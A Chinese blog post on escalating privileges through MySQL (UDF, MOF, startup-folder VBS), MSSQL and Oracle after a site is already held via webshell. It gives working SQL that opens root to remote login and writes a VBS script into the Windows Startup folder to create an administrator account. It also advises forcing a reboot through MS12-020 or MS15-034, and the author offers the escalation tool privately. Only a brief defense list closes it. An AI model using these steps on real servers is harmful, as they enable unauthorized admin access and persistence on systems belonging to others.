数据库提权(实战案例)

本文主要介绍常见数据库如何进行提权操作,如mysql(mof,udf,启动项),mssql,orcale数据库,

1.mysql数据库

1.提权条件

开启数据库服务

获得数据库最高权限密码

1.如何获取到数据库账户密码

在拿下目标网站后,通过webshell去查看网站的数据库连接文件,一般会有数据库的用户及密码信息

数据库有对应的实体文件,通过实体文件去查看

2.udf提权

1.通过本地连接的方式连接数据库

2.开启root远程登录权限

基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。为root进行远程访问的授权,执行下面的命令:

 mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
 mysql> flush privileges;

第一句中"%"表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如: GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root"; 第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载

3.使用mysql提权工具连接(可以私信找我发你)

3.导入udf.dll

小于mysql5.1版本 C:\\WINDOWS\\udf.dll 或 C:\\WINDOWS\\system32\\udf.dll

等于mysql5.1版本 %mysql%\\plugin\\udf.dll 用 select @@plugin_dir 查询plugin路径 默认 C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll    因为我们这里是在C:\php\MySQL-5.1.50\lib\plugin\udf.dll

4.执行sql语句

可以有很多操作空间这里就不演示了

3.mof提权

条件:

操作系统低于2008

数据库版本低于5.7且允许外联

1.使用工具连接并执行命令

cmd命令行查看

注:该工具每隔五秒创建一次,彻底清除方法如下:

# 停止 winmgmt 服务net stop winmgmt
# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户net user hacker /delete
# 重新启动服务net start winmgmt

3.启动项提权

1、通过mysql数据库命令写入VBS脚本;

2、直接通过Webshell的Mysql写入启动项;

3、通过MS12-020、MS15-034重启服务器。

过程代码

C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
mysql> use test1;
mysql> create table a (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";

#最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034

2.mssql提权

 mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见。

3、oracle提权

      Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。提权方法参考如下地址:

http://blog.csdn.net/sezvboyrul/article/details/2855401

4.如何防范

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。

2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。

3、及时升级数据库补丁。

4、安装Waf进行防御。

5、购买数据库审计设备

  • 18
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值